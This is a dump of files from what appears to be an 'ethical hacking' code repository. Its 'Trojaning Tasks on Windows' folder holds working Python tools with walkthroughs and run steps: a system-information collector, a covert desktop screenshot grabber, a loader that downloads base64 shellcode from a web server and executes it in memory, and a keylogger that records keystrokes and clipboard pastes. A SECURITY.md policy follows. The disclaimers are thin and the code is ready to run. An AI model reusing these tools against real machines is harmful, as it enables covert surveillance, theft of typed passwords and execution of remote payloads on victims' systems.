objOperatingSystem.Locale & vbCrLf 24 | f.WriteLine "Available Physical Memory: " & _ 25 | objOperatingSystem.FreePhysicalMemory & vbCrLf 26 | f.WriteLine "Total Virtual Memory: " & _ 27 | objOperatingSystem.TotalVirtualMemorySize & vbCrLf 28 | f.WriteLine "Available Virtual Memory: " & _ 29 | objOperatingSystem.FreeVirtualMemory & vbCrLf 30 | f.WriteLine "Size stored in paging files: " & _ 31 | objOperatingSystem.SizeStoredInPagingFiles & vbCrLf 32 | Next 33 | 34 | Set colSettings = objWMIService.ExecQuery _ 35 | ("Select * from Win32_ComputerSystem") 36 | 37 | For Each objComputer in colSettings 38 | f.WriteLine "System Name: " & objComputer.Name & vbCrLf 39 | f.WriteLine "System Manufacturer: " & objComputer.Manufacturer & vbCrLf 40 | f.WriteLine "System Model: " & objComputer.Model & vbCrLf 41 | f.WriteLine "Time Zone: " & objComputer.CurrentTimeZone & vbCrLf 42 | f.WriteLine "Total Physical Memory: " & _ 43 | objComputer.TotalPhysicalMemory & vbCrLf 44 | Next 45 | 46 | Set colSettings = objWMIService.ExecQuery _ 47 | ("Select * from Win32_Processor") 48 | 49 | For Each objProcessor in colSettings 50 | f.WriteLine "System Type: " & objProcessor.Architecture & vbCrLf 51 | f.WriteLine "Processor: " & objProcessor.Description & vbCrLf 52 | Next 53 | 54 | Set colSettings = objWMIService.ExecQuery _ 55 | ("Select * from Win32_BIOS") 56 | 57 | For Each objBIOS in colSettings 58 | f.WriteLine "BIOS Version: " & objBIOS.Version & vbCrLf 59 | Next 60 | 61 | f.Close 62 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/captures a screenshot of the entire desktop on a Windows system.md: -------------------------------------------------------------------------------- 1 | This script **captures a screenshot of the entire desktop** on a Windows system and saves it as a **bitmap (.bmp) file**. 2 | 3 | ```python 4 | from win32 import win32gui 5 | import win32ui 6 | import win32con 7 | import win32api 8 | 9 | # grab a handle to the main desktop window 10 | hdesktop = win32gui.GetDesktopWindow() 11 | 12 | # determine the size of all monitors in pixels: 13 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 14 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 15 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 16 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 17 | 18 | # create a device context 19 | desktop_dc = win32gui.GetWindowDC(hdesktop) 20 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 21 | 22 | # create a memory based device context 23 | mem_dc = img_dc.CreateCompatibleDC() 24 | 25 | # create a bitmat object 26 | screenshot = win32ui.CreateBitmap() 27 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 28 | mem_dc.SelectObject(screenshot) 29 | 30 | # copy the screen into our memory device context 31 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 32 | 33 | # save the bitmap to a file 34 | screenshot.SaveBitmapFile(mem_dc, "c:\\WINDOWS\\Temp\\screenshot.bmp") 35 | 36 | # free our objects 37 | mem_dc.DeleteDC() 38 | win32gui.DeleteObject(screenshot.GetHandle()) 39 | ``` 40 | 41 | ## **🛠 Code Breakdown** 42 | 43 | ### **1️⃣ Import Required Modules** 44 | ```python 45 | from win32 import win32gui 46 | import win32ui 47 | import win32con 48 | import win32api 49 | ``` 50 | ✔ **`win32gui`** → Handles Windows GUI elements. 51 | ✔ **`win32ui`** → Manages device contexts and bitmaps. 52 | ✔ **`win32con`** → Provides constants for Windows API functions. 53 | ✔ **`win32api`** → Interacts with Windows system functions. 54 | 55 | --- 56 | 57 | ### **2️⃣ Get Desktop Window Handle** 58 | ```python 59 | hdesktop = win32gui.GetDesktopWindow() 60 | ``` 61 | ✔ **Retrieves the handle of the main desktop window.** 62 | 63 | --- 64 | 65 | ### **3️⃣ Get Screen Dimensions** 66 | ```python 67 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 68 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 69 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 70 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 71 | ``` 72 | ✔ **Fetches the virtual screen size across multiple monitors.** 73 | ✔ **Determines the top-left position of the screen.** 74 | 75 | --- 76 | 77 | ### **4️⃣ Create Device Contexts** 78 | ```python 79 | desktop_dc = win32gui.GetWindowDC(hdesktop) 80 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 81 | mem_dc = img_dc.CreateCompatibleDC() 82 | ``` 83 | ✔ **Creates a device context (DC) for the desktop.** 84 | ✔ **Creates a compatible memory-based DC for image processing.** 85 | 86 | --- 87 | 88 | ### **5️⃣ Create a Bitmap Object** 89 | ```python 90 | screenshot = win32ui.CreateBitmap() 91 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 92 | mem_dc.SelectObject(screenshot) 93 | ``` 94 | ✔ **Allocates memory for the screenshot.** 95 | 96 | --- 97 | 98 | ### **6️⃣ Capture the Screen** 99 | ```python 100 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 101 | ``` 102 | ✔ **Copies the screen into the memory-based device context using `BitBlt()`.** 103 | 104 | --- 105 | 106 | ### **7️⃣ Save the Screenshot** 107 | ```python 108 | screenshot.SaveBitmapFile(mem_dc, "c:\\WINDOWS\\Temp\\screenshot.bmp") 109 | ``` 110 | ✔ **Saves the screenshot to `C:\WINDOWS\Temp\screenshot.bmp`.** 111 | ✔ **You can change this path to save it elsewhere.** 112 | 113 | --- 114 | 115 | ### **8️⃣ Cleanup** 116 | ```python 117 | mem_dc.DeleteDC() 118 | win32gui.DeleteObject(screenshot.GetHandle()) 119 | ``` 120 | ✔ **Releases allocated resources to avoid memory leaks.** 121 | 122 | --- 123 | 124 | ## **🚀 How to Run** 125 | ### **1️⃣ Install Dependencies** 126 | ```sh 127 | pip install pywin32 128 | ``` 129 | ### **2️⃣ Run the Script** 130 | ```sh 131 | python screenshot.py 132 | ``` 133 | ### **3️⃣ View the Screenshot** 134 | Open `C:\WINDOWS\Temp\screenshot.bmp` in an image viewer. 135 | 136 | --- 137 | 138 | ## **⚠️ Security and Ethical Concerns** 139 | ✔ **Unauthorized screen capture is a privacy violation.** 140 | ✔ **Use only for legitimate purposes, such as remote assistance or monitoring with consent.** 141 | ✔ **Ensure compliance with cybersecurity laws and regulations.** 142 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/execute shellcode from a web server.md: -------------------------------------------------------------------------------- 1 | This Python script is designed to download, decode, and execute shellcode from a web server. Shellcode is a set of machine code instructions used in various types of security exploits. This script assumes that a shellcode binary file is hosted on a local web server. 2 | 3 | 4 | ```python 5 | import base64 6 | import ctypes 7 | import urllib.request 8 | 9 | # retrieve the shellcode from our webserver 10 | url = "http://localhost:8000/shellcode.bin" 11 | response = urllib.request.urlopen(url) 12 | 13 | # decode the shellcode from base64 14 | shellcode = base64.b64decode(response.read()) 15 | 16 | # create a buffer in memory 17 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 18 | 19 | # create a pointer 20 | shellcode_func = ctypes.cast(shellcode_buffer, 21 | ctypes.CFUNCTYPE(ctypes.c_void_p)) 22 | 23 | # call our shellcode 24 | shellcode_func() 25 | ``` 26 | 27 | 28 | 1. **Importing Required Modules:** 29 | - `base64`: This module is used for encoding and decoding binary data into ASCII characters (base64) and vice versa. 30 | - `ctypes`: This module provides C-style data types and allows calling functions in shared libraries or DLLs, and interacting with system memory. 31 | - `urllib.request`: This module provides simple methods for opening and reading URLs. 32 | 33 | 2. **Retrieving Shellcode:** 34 | ```python 35 | url = "http://localhost:8000/shellcode.bin" 36 | response = urllib.request.urlopen(url) 37 | ``` 38 | - The `urlopen` function opens the URL where the shellcode binary is hosted. 39 | - `http://localhost:8000/shellcode.bin` is assumed to be the location where the shellcode is available (this is a local web server). 40 | 41 | 3. **Decoding the Shellcode:** 42 | ```python 43 | shellcode = base64.b64decode(response.read()) 44 | ``` 45 | - The shellcode is downloaded as base64-encoded data. The `base64.b64decode` function decodes it back to its original binary form. 46 | 47 | 4. **Creating a Memory Buffer:** 48 | ```python 49 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 50 | ``` 51 | - `ctypes.create_string_buffer` creates a mutable buffer in memory that can hold the shellcode. It is allocated with the length of the shellcode. 52 | 53 | 5. **Creating a Pointer to the Shellcode:** 54 | ```python 55 | shellcode_func = ctypes.cast(shellcode_buffer, 56 | ctypes.CFUNCTYPE(ctypes.c_void_p)) 57 | ``` 58 | - `ctypes.cast` is used to cast the memory buffer to a pointer that can be treated as a function pointer (of type `CFUNCTYPE(ctypes.c_void_p)`), allowing the shellcode to be executed as a function. 59 | 60 | 6. **Executing the Shellcode:** 61 | ```python 62 | shellcode_func() 63 | ``` 64 | - Finally, the function pointer `shellcode_func` is called, which triggers the execution of the shellcode in memory. 65 | 66 | ### How to Run the Code 67 | 68 | To run this code, follow these steps: 69 | 70 | 1. **Set Up the Web Server:** 71 | - You need to have a web server running locally (on `localhost:8000`) that serves a `shellcode.bin` file. You can use Python's built-in HTTP server to serve the file. Here’s how: 72 | ```bash 73 | python -m http.server 8000 74 | ``` 75 | Make sure the shellcode file (`shellcode.bin`) is in the directory from which the server is running. 76 | 77 | 2. **Prepare the Shellcode:** 78 | - The shellcode (`shellcode.bin`) needs to be a valid binary shellcode that you want to execute. Ensure that the shellcode is crafted correctly and placed in the same directory as the web server is serving. 79 | 80 | 3. **Run the Python Script:** 81 | - Simply execute the Python script from the command line: 82 | ```bash 83 | python your_script.py 84 | ``` 85 | 86 | Ensure that the URL is correct, and the shellcode file is available to download. 87 | 88 | ### Caution 89 | 90 | - **Security Risk:** This script executes shellcode directly from memory, which can be highly dangerous and malicious. Only run such scripts in a controlled, isolated environment (e.g., virtual machines or sandboxed environments). 91 | - **Ethical Consideration:** Ensure that you have permission to execute such code and that it's for educational, testing, or ethical hacking purposes only. 92 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/keylogger.md: -------------------------------------------------------------------------------- 1 | This script is a **keylogger** that captures keystrokes and clipboard data in Windows. Below is a detailed breakdown of its components. 2 | 3 | ```python 4 | from ctypes import * 5 | import pythoncom 6 | import pyHook 7 | import win32clipboard 8 | 9 | # alternative if you have issues with pyHook on Win10: 10 | # import pyWinhook as pyHook 11 | 12 | user32 = windll.user32 13 | kernel32 = windll.kernel32 14 | psapi = windll.psapi 15 | current_window = None 16 | 17 | def get_current_process(): 18 | # get a handle to the foreground window 19 | hwnd = user32.GetForegroundWindow() 20 | 21 | # find the process ID and store it 22 | pid = c_ulong(0) 23 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 24 | process_id = f"{pid.value}" 25 | 26 | # grab the executable 27 | executable = create_string_buffer(b"\x00" * 512) 28 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 29 | psapi.GetModuleBaseName(h_process, None, byref(executable), 512) 30 | 31 | # read the title 32 | window_title = create_string_buffer(b"\x00" * 512) 33 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 34 | 35 | # print the header if we're in the right process 36 | print() 37 | print(f"[ PID: {process_id} - {executable.value} - {window_title.value}]") 38 | print() 39 | 40 | # close handles 41 | kernel32.CloseHandle(hwnd) 42 | kernel32.CloseHandle(h_process) 43 | 44 | def key_stroke(event): 45 | global current_window 46 | 47 | # check if target changed windows 48 | if event.WindowName != current_window: 49 | current_window = event.WindowName 50 | get_current_process() 51 | 52 | # if they pressed a standard key 53 | if 32 < event.Ascii < 127: 54 | print(chr(event.Ascii), end=" ") 55 | else: 56 | # if [Ctrl-V] get the value on the clipboard 57 | if event.Key == "V": 58 | win32clipboard.OpenClipboard() 59 | pasted_value = win32clipboard.GetClipboardData() 60 | win32clipboard.CloseClipboard() 61 | print(f"[PASTE] - {pasted_value}", end=" ") 62 | else: 63 | print(f"{event.Key}", end=" ") 64 | 65 | # pass execution to next hook registered 66 | return True 67 | 68 | # create and register a hook manager 69 | kl = pyHook.HookManager() 70 | kl.KeyDown = KeyStroke 71 | 72 | # register the hook and execute forever 73 | kl.HookKeyboard() 74 | pythoncom.PumpMessages() 75 | ``` 76 | 77 | 78 | # **🛠 Code Breakdown** 79 | 80 | ### **1️⃣ Import Required Modules** 81 | ```python 82 | from ctypes import * 83 | import pythoncom 84 | import pyHook 85 | import win32clipboard 86 | ``` 87 | - **`ctypes`** → Used for interacting with Windows APIs. 88 | - **`pythoncom`** → Handles Windows COM messages. 89 | - **`pyHook`** → Captures keyboard events. 90 | - **`win32clipboard`** → Reads clipboard contents. 91 | 92 | --- 93 | 94 | ### **2️⃣ Windows API Setup** 95 | ```python 96 | user32 = windll.user32 97 | kernel32 = windll.kernel32 98 | psapi = windll.psapi 99 | current_window = None 100 | ``` 101 | - **Loads Windows DLLs** (`user32.dll`, `kernel32.dll`, `psapi.dll`). 102 | - **`current_window`** tracks active windows. 103 | 104 | --- 105 | 106 | ### **3️⃣ Get the Active Window and Process** 107 | ```python 108 | def get_current_process(): 109 | hwnd = user32.GetForegroundWindow() 110 | 111 | pid = c_ulong(0) 112 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 113 | process_id = f"{pid.value}" 114 | 115 | executable = create_string_buffer(b"\x00" * 512) 116 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 117 | psapi.GetModuleBaseName(h_process, None, byref(executable), 512) 118 | 119 | window_title = create_string_buffer(b"\x00" * 512) 120 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 121 | 122 | print(f"\n[ PID: {process_id} - {executable.value} - {window_title.value} ]\n") 123 | 124 | kernel32.CloseHandle(hwnd) 125 | kernel32.CloseHandle(h_process) 126 | ``` 127 | ✔ **Identifies the currently active process.** 128 | ✔ **Retrieves the process ID, executable name, and window title.** 129 | ✔ **Prints the active window’s details.** 130 | 131 | --- 132 | 133 | ### **4️⃣ Capture Keystrokes** 134 | ```python 135 | def key_stroke(event): 136 | global current_window 137 | 138 | if event.WindowName != current_window: 139 | current_window = event.WindowName 140 | get_current_process() 141 | 142 | if 32 < event.Ascii < 127: 143 | print(chr(event.Ascii), end=" ") 144 | else: 145 | if event.Key == "V": 146 | win32clipboard.OpenClipboard() 147 | pasted_value = win32clipboard.GetClipboardData() 148 | win32clipboard.CloseClipboard() 149 | print(f"[PASTE] - {pasted_value}", end=" ") 150 | else: 151 | print(f"{event.Key}", end=" ") 152 | 153 | return True 154 | ``` 155 | ✔ **Logs key presses and clipboard content.** 156 | ✔ **Detects when the window changes and retrieves process details.** 157 | ✔ **Captures standard keys and special keys (`Ctrl + V` clipboard paste).** 158 | 159 | --- 160 | 161 | ### **5️⃣ Hook Keyboard Events** 162 | ```python 163 | kl = pyHook.HookManager() 164 | kl.KeyDown = key_stroke 165 | 166 | kl.HookKeyboard() 167 | pythoncom.PumpMessages() 168 | ``` 169 | ✔ **Registers a global keyboard hook using `pyHook`.** 170 | ✔ **Captures keystrokes continuously.** 171 | 172 | --- 173 | 174 | # **🚀 How to Run** 175 | ### **1️⃣ Install Dependencies** 176 | ```sh 177 | pip install pyHook pywin32 178 | ``` 179 | 180 | ### **2️⃣ Run the Script** 181 | ```sh 182 | python keylogger.py 183 | ``` 184 | 185 | --- 186 | 187 | # **⚠️ Ethical and Legal Concerns** 188 | ✔ **Unauthorized keylogging is illegal** without consent. 189 | ✔ **Use only for penetration testing or security audits.** 190 | ✔ **Ensure compliance with cybersecurity laws.** 191 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## 1. Responsible Use 4 | 5 | All tools in this repository are intended for **ethical hacking** and **legal educational purposes** only. By using these tools, you agree to abide by the following guidelines: 6 | 7 | - **Legal Compliance**: Ensure you have proper authorization before using any tool on a system, network, or device. Unauthorized access or testing is strictly prohibited. 8 | - **Educational Purpose**: These tools should be used for educational purposes, security research, and to enhance understanding of cybersecurity practices. 9 | - **Ethics**: Misuse of any tools for illegal, malicious, or unethical purposes is prohibited. Please remember that cybersecurity practices should prioritize protecting privacy, data integrity, and system availability. 10 | 11 | ## 2. Reporting Vulnerabilities 12 | 13 | If you discover a vulnerability in this repository, please follow these steps: 14 | 15 | 1. **Contact Us Privately**: Report vulnerabilities directly to us via email at [abdulwahabjunaid07@gmail.com](mailto:abdulwahabjunaid07@gmail.com). Avoid sharing details of the vulnerability publicly to prevent misuse. 16 | 2. **Provide Detailed Information**: Include as much detail as possible, including: 17 | - Description of the vulnerability 18 | - Steps to reproduce it 19 | - Potential impact 20 | - Possible mitigation (if known) 21 | 3. **Allow Time for Resolution**: We appreciate your patience and understanding as we work to address reported issues. 22 | 23 | ## 3. Disclosure Guidelines 24 | 25 | We support **responsible disclosure** practices. If you are a security researcher or contributor who has found a vulnerability: 26 | 27 | - **Do Not Exploit**: Refrain from exploiting the vulnerability for any reason, including verifying its impact. 28 | - **Do Not Publicize**: Avoid disclosing the vulnerability publicly until we have confirmed and resolved it. 29 | - **Respect Sensitive Data**: If you encounter sensitive data, stop immediately and notify us, avoiding access to further data. 30 | 31 | ## 4. Expected Response Time 32 | 33 | We will make every effort to respond to your report within **48 hours**. Our goal is to confirm the receipt of your report, assess the severity, and provide you with a timeline for remediation. Updates will be provided throughout the process until the issue is resolved. 34 | --------------------------------------------------------------------------------